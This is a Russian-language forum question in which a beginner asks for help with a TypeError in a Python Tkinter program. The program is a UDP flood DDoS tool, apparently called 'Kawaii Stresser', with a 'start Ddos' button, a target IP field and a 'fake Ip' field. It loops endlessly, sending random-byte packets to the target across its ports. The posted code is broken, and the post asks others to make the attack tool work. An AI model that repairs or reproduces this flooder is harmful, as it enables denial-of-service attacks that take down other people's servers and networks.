как добавить строку или буфер в код python? - PullRequest
0 голосов
/ 05 мая 2020

Можете ли вы помочь мне в tkinter plz, если вы можете исправить проблему в этом коде, я получил эту ошибку:

Exception in Tkinter callback
Traceback (most recent call last):
  File "C:\Python27\lib\lib-tk\Tkinter.py", line 1547, in __call__
    return self.func(*args)
  File "c:/Users/exe/Desktop/backup files/Programmation/Kawaii Stresser/g.py", line 30, in CallBack
    ddos.sendto( flood, (ip, 80) )
TypeError: coercing to Unicode: need string or buffer, NoneType found

Я хочу добавить строку или вернуть, но я не знаю, как жаль, что мой язык очень слабый кстати я новичок спасибо

import Tkinter as tk
import Tkinter
import sys
import os
import time
import socket
import random
import webbrowser

##########################################################
ddos = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
flood = random._urandom(1490)
clear = lambda: os.system('cls')
sent = 0
##########################################################   
def sui_input(prompt):

    root1 = tk.Tk()
    var = tk.StringVar()

    label = tk.Label(root1, text=prompt)
    entry = tk.Entry(root1, textvariable=var)
    label.pack(side="left", padx=(20, 0), pady=20)
    entry.pack(side="right", fill="x", padx=(0, 20), pady=20, expand=True)
    entry.bind("<Return>", lambda event: root1.destroy())
    root1.mainloop()
def CallBack():
    while True:
         ddos.sendto( flood, (ip, 80) )
         ddos.sendto( bytes, (ip, 80) )
         sent = sent + 1
         port = port + 1
         print ("Send %s bytes of packet to %s in port:%s")%(sent,ip,port)
         if port == 65534:
           port = 1 


print("Welcome to TCP Socket")
ip = sui_input("IP Target   (127.0.0.1)   : ")
port = sui_input("From Port   (80/21/443)   : ")
hide = sui_input("fake Ip  (182.21.20.32)   : ")
window = tk.Tk()
B = Tkinter.Button(window, text ="start Ddos", command =CallBack)
B.pack()
window.mainloop()
...